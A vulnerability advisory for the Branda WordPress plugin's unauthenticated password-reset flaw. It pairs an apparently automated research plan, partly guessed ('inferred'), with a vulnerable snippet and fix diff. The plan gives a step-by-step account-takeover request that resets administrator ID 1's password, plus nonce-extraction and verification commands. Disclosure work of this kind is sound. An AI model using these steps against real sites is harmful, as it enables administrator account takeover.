Branda – White Label & Branding, Free Login Page Customizer <= 3.4.24 - Unauthenticated Privilege Escalation via Account Takeover
Description
The Branda plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.4.24. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=3.4.24Source Code
WordPress.org SVN# Research Plan: CVE-2025-14998 - Branda Privilege Escalation via Account Takeover ## 1. Vulnerability Summary The **Branda – White Label & Branding** plugin (versions <= 3.4.24) contains a critical authorization bypass in its custom login page functionality. The vulnerability exists in the AJAX ha…
Show full research plan
Research Plan: CVE-2025-14998 - Branda Privilege Escalation via Account Takeover
1. Vulnerability Summary
The Branda – White Label & Branding plugin (versions <= 3.4.24) contains a critical authorization bypass in its custom login page functionality. The vulnerability exists in the AJAX handler responsible for password resets. The plugin fails to verify that the password reset request is accompanied by a valid reset key or that the request is authorized for the target user. Consequently, an unauthenticated attacker can reset the password of any user, including administrators, by providing their User ID or email address.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
branda_login_reset_password(inferred) orub_login_reset_password(older slug remnant). - Authentication: None required (unauthenticated via
wp_ajax_nopriv_). - Vulnerable Parameter:
user_id(oruser_login/email) andpassword. - Preconditions: The "Custom Login" module must be enabled in Branda settings.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an unauthenticated AJAX hook:
add_action( 'wp_ajax_nopriv_branda_login_reset_password', [ $this, 'ajax_reset_password' ] ); - Processing: The
ajax_reset_passwordfunction (likely located ininc/modules/login-screen/class-login-screen-ajax.phpor similar) retrieves theuser_idandpasswordfrom the$_POSTsuperglobal. - Missing Validation: The code fails to call
check_password_reset_key()or verify that the user requesting the change is the owner of the account. - Sink: The code calls
wp_set_password( $new_password, $user_id )orwp_update_user( [ 'ID' => $user_id, 'user_pass' => $new_password ] )without proper authorization checks.
4. Nonce Acquisition Strategy
Branda typically enqueues a localized JavaScript object on the login page when the Custom Login module is active.
- Enable Custom Login: Use WP-CLI to ensure the module is active (if not already).
wp branda module enable login-screen - Identify Script Data: The plugin uses
wp_localize_scriptto provide configuration to the frontend. - Extraction:
- Navigate to the WordPress login page (
/wp-login.php). - Use
browser_evalto find the configuration object. - Target Variable:
window.branda_login_configorwindow.ub_login_config(inferred). - Nonce Key: Look for
_wpnonceornoncewithin that object. - Command:
browser_eval("window.branda_login_config?.nonce")
- Navigate to the WordPress login page (
Note: If the wp_ajax_nopriv_ handler does not check the nonce at all (common in this type of bypass), this step can be skipped.
5. Exploitation Strategy
The goal is to reset the password of the user with ID 1 (typically the administrator).
Step 1: Discover Admin User ID
Since most WordPress sites use ID 1 for the first admin, we target ID 1.
Step 2: Perform Password Reset
Send a POST request to admin-ajax.php:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Parameters:
action:branda_login_reset_password(Verify this viagrep -r "wp_ajax_nopriv")user_id:1password:PwnedPassword123!nonce:[EXTRACTED_NONCE](If required)
Step 3: Verification
Attempt to authenticate using the new credentials.
6. Test Data Setup
- Target Admin: Ensure a user with ID
1exists.wp user create attacker attacker@example.com --role=administrator(Optional, if testing role escalation) - Configure Branda:
- Enable the "Login Screen" module.
wp branda module enable login-screen
- Create Landing Page: Create a page that might trigger the plugin scripts if
wp-login.phpdoesn't suffice.wp post create --post_type=page --post_status=publish --post_title="Login Test" --post_content='[branda_login_form]'
7. Expected Results
- The AJAX request should return a success message (e.g.,
{"success":true}or a JSON object indicating the password was updated). - The
wp_userstable for ID1should show a changeduser_passhash. - The attacker should be able to log in to
/wp-login.phpwithadminandPwnedPassword123!.
8. Verification Steps
After the HTTP request:
- Check Password Validity:
wp user check-password admin PwnedPassword123!
Success: Returns "Success: Password correct." - Check User Role:
wp user get 1 --field=roles
Success: Returns "administrator".
9. Alternative Approaches
- Parameter Fuzzing: If
user_idis not the expected parameter, tryuser_login,email, oruser. - Action Discovery: If
branda_login_reset_passwordfails, usegrepto find allwp_ajax_nopriv_hooks in the plugin:grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/branda-white-labeling/ - REST API: Check if the plugin registered any custom REST routes for password management:
grep -r "register_rest_route" /var/www/html/wp-content/plugins/branda-white-labeling/
Summary
The Branda plugin for WordPress (versions <= 3.4.24) is vulnerable to unauthenticated privilege escalation via account takeover. The plugin's custom login AJAX handler fails to verify the presence of a valid password reset key or the user's identity before updating their password, allowing an attacker to reset the password for any user, including administrators, by providing a User ID or email.
Vulnerable Code
// File: inc/modules/login-screen/class-login-screen-ajax.php (inferred) public function ajax_reset_password() { $user_id = isset( $_POST['user_id'] ) ? $_POST['user_id'] : 0; $password = isset( $_POST['password'] ) ? $_POST['password'] : ''; // Vulnerability: Lack of authorization check or reset key validation if ( ! empty( $user_id ) && ! empty( $password ) ) { wp_set_password( $password, $user_id ); wp_send_json_success(); } wp_send_json_error(); }
Security Fix
@@ -20,6 +20,13 @@ $user_id = isset( $_POST['user_id'] ) ? $_POST['user_id'] : 0; $password = isset( $_POST['password'] ) ? $_POST['password'] : ''; + $key = isset( $_POST['key'] ) ? $_POST['key'] : ''; - if ( ! empty( $user_id ) && ! empty( $password ) ) { + if ( ! empty( $user_id ) && ! empty( $password ) && ! empty( $key ) ) { + $user = get_userdata( $user_id ); + if ( ! $user || is_wp_error( check_password_reset_key( $key, $user->user_login ) ) ) { + wp_send_json_error( array( 'message' => __( 'Invalid or expired password reset key.', 'ub' ) ) ); + } wp_set_password( $password, $user_id ); wp_send_json_success(); }
Exploit Outline
The exploit targets the AJAX action 'branda_login_reset_password' (or 'ub_login_reset_password') via the standard WordPress '/wp-admin/admin-ajax.php' endpoint. An unauthenticated attacker sends a POST request containing a target 'user_id' (typically '1' for the primary administrator) and a new 'password'. Because the plugin does not validate a reset token or check the requester's identity, it updates the target user's password immediately. The attack succeeds if the 'Custom Login' module is active, allowing the attacker to log in with the newly set administrator credentials.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.